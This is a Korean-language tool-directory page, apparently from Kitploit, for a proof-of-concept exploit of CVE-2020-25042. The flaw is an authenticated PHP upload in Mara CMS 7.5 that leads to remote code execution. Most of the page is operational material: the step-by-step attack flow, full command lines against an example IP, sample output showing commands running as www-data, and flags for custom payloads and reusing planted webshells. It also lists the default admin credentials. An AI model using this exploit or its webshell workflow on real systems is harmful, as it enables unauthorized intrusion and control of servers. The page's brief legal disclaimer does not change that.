Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2020-25042-PoC — CVE-2020-25042용 PoC: Mara CMS 7.5의 인증된 PHP 업로드를 RCE로 자동화하며, 로그인 해시 처리, 셸 재사용, 사용자 정의 페이로드 지원, 깔끔한 CLI 출력을 제공합니다. | Kitploit
도구/GitHubGitHub/groppoxx/cve-2020-25042-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubgroppoxx/cve-2020-25042-poc

CVE-2020-25042-PoC

CVE-2020-25042용 PoC: Mara CMS 7.5의 인증된 PHP 업로드를 RCE로 자동화하며, 로그인 해시 처리, 셸 재사용, 사용자 정의 페이로드 지원, 깔끔한 CLI 출력을 제공합니다.

저장소 보기
5114개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2020-25042-PoC

Mara CMS 7.5에서 원격 코드 실행으로 이어질 수 있는 인증된 임의 파일 업로드 취약점인 CVE-2020-25042에 대한 개념 증명(PoC)입니다.

이 스크립트는 유효한 Mara CMS 관리자/매니저 계정으로 로그인하고, codebase/handler.php를 통해 PHP 페이로드를 업로드한 뒤 업로드된 파일을 통해 명령어를 실행합니다.

또한 가능하면 기존 셸을 재사용하므로 실행할 때마다 새 PHP 파일을 만들지 않습니다.

동작 방식

  1. 예상된 셸이 이미 존재하고 재사용 가능한지 확인합니다.
  2. 재사용 가능하면 명령어를 직접 실행합니다.
  3. 재사용할 수 없으면 CMS 페이지를 로드하여 shash를 추출합니다.
  4. setsalt 액션으로 로그인 솔트를 요청합니다.
  5. Mara CMS 로그인 해시를 계산합니다.
  6. 유효한 사용자로 인증합니다.
  7. codebase/dir.php?type=filenew에서 업로드 흐름을 엽니다.
  8. codebase/handler.php를 통해 PHP 명령 페이로드를 업로드합니다.
  9. 업로드된 셸을 통해 --cmd를 실행합니다.

요구 사항

Python 3.8+

pip install -r requirements.txt

필요한 Python 패키지:

requests
urllib3

빠른 시작

꺾쇠괄호(< >)로 감싼 값은 자리 표시자입니다. 자신의 값으로 바꾸고 < 또는 > 문자는 포함하지 마세요.

python3 cve_2020_25042.py \
  --url <MARA_CMS_URL> \
  --username <USERNAME> \
  --password '<PASSWORD>' \
  --cmd whoami

자리 표시자

<MARA_CMS_URL>  # Target Mara CMS base URL. Example: http://target/cms
<USERNAME>      # Valid Mara CMS admin/manager username.
<PASSWORD>      # Valid Mara CMS admin/manager password.

전체 예시

python3 cve_2020_25042.py \
  --url http://10.129.96.20/cms \
  --username admin \
  --password changeme \
  --cmd whoami

출력 예시:

[2026-05-17T23:32:31Z] [*] Checking existing shell: http://10.129.96.20/cms/img/mara-poc.php
[2026-05-17T23:32:31Z] [*] Loading Mara CMS page and collecting session data
[2026-05-17T23:32:31Z] [+] Found shash: 9552
[2026-05-17T23:32:31Z] [*] Requesting login salt
[2026-05-17T23:32:31Z] [+] Got salt: 4253
[2026-05-17T23:32:31Z] [*] Logging in as admin
[2026-05-17T23:32:31Z] [+] Login successful: OK:5
[2026-05-17T23:32:31Z] [*] Opening upload form
[2026-05-17T23:32:32Z] [*] Uploading PHP payload as mara-poc.php
[2026-05-17T23:32:32Z] [+] Upload request completed
[2026-05-17T23:32:32Z] [+] Shell URL: http://10.129.96.20/cms/img/mara-poc.php
[2026-05-17T23:32:32Z] [*] Executing command: whoami

[+] Command output
MARA_CVE_2020_25042_OK
www-data

기존 셸 재사용

기본적으로 이 스크립트는 고정된 셸 이름을 사용합니다:

mara-poc.php

다음 실행 시 다음 위치를 확인합니다:

http://target/cms/img/mara-poc.php

셸이 예상된 마커로 응답하면 스크립트는 로그인과 업로드를 건너뜁니다:

python3 cve_2020_25042.py \
  --url http://10.129.96.20/cms \
  --cmd "ls -la"

이전에 임의 이름으로 생성된 셸을 재사용하려면:

python3 cve_2020_25042.py \
  --url http://10.129.96.20/cms \
  --shell-name mara-poc-jxfizldy.php \
  --cmd whoami

노출된 셸 경로를 직접 전달할 수도 있습니다:

python3 cve_2020_25042.py \
  --url http://10.129.96.20/cms \
  --shell-url-path /cms/img/mara-poc-jxfizldy.php \
  --cmd "ls -la"

업로드만 수행

명령어를 실행하지 않고 페이로드만 업로드합니다:

python3 cve_2020_25042.py \
  --url http://10.129.96.20/cms \
  --username admin \
  --password changeme \
  --upload-only

선택적 플래그

--page <PAGE>
   Existing CMS page used to bootstrap login and extract shash. Default: lorem.php

--shell-name <NAME>
   PHP filename to upload or reuse. Default: mara-poc.php

--shell-url-path <PATH_OR_URL>
   Explicit shell path or URL to reuse.
   Example: /cms/img/mara-poc.php

--payload-file <FILE>
   Upload a custom PHP payload instead of the default ?cmd= shell.

--destdir <DIR>
   Raw destdir value sent in the upload form. Default leaves Mara CMS using img/.

--force-upload
   Always login and upload, even if a reusable shell already exists.

--upload-only
   Upload the payload but do not execute --cmd.

--only-final
   Hide progress logs and print only command output.

--no-color
   Disable ANSI colors.

--debug
   Print request URLs and short handler response snippets.

참고 사항

  • 이 익스플로잇에는 유효한 인증된 Mara CMS 관리자 또는 매니저 세션이 필요합니다.
  • 수정되지 않은 테스트 설치에서 Mara CMS 기본 자격 증명은 admin:changeme일 수 있습니다.
  • 기본 페이로드는 명령 출력 앞에 MARA_CVE_2020_25042_OK를 출력합니다.
  • Mara CMS 7.5에서 확인된 기본 업로드 위치는 img/입니다.
  • 대상에 PHP 파일을 많이 남기지 않도록 가능하면 셸을 재사용하세요.
  • 페이로드를 덮어쓰거나 다시 만들어야 할 때만 --force-upload를 사용하세요.

법적 고지

이 PoC는 승인된 보안 테스트, 실습 환경 및 취약점 검증을 위한 것입니다. 명시적 허가 없이 시스템을 대상으로 사용하지 마세요.

도구 다운로드